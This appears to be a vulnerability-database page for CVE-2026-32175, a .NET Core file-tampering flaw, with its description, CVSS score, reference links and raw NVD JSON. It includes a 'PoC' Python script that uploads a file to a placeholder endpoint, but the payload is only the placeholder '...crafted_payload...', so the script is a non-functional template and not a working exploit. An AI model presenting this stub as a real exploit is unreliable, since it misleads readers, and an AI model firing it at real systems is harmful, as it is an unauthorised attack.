CVE-2026-32175

Description

A tampering vulnerability exists when .NET Core improperly handles specially crafted files. An attacker who successfully exploited this vulnerability could write arbitrary files and directories to certain locations on a vulnerable system. However, an attacker would have limited control over the destination of the files and directories. To exploit the vulnerability, an attacker must send a specially crafted file to a vulnerable system. The security update fixes the vulnerability by ensuring .NET Core properly handles files.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

.NET Core (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Proof of Concept for CVE-2026-32175
# This script demonstrates a potential exploitation scenario
# by sending a crafted file to a vulnerable endpoint.

target_url = "http://vulnerable-site.com/upload"

# Crafted file content designed to trigger the tampering vulnerability
# In a real scenario, this file would contain specific bytes or path traversal sequences
malicious_data = b'\x00\x01\x02\x03...crafted_payload...'

files = {
    'file': ('exploit.bin', malicious_data, 'application/octet-stream')
}

try:
    response = requests.post(target_url, files=files)
    if response.status_code == 200:
        print("[+] Payload sent successfully. Check target system for file tampering.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32175
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32175
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32175/
[4] VulDB https://vuldb.com/cve/CVE-2026-32175
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32175", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:58.737", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A tampering vulnerability exists when .NET Core improperly handles specially crafted files. An attacker who successfully exploited this vulnerability could write arbitrary files and directories to certain locations on a vulnerable system. However, an attacker would have limited control over the destination of the files and directories.\nTo exploit the vulnerability, an attacker must send a specially crafted file to a vulnerable system.\nThe security update fixes the vulnerability by ensuring .NET Core properly handles files."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-36"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175", "source": "[email protected]"}]}}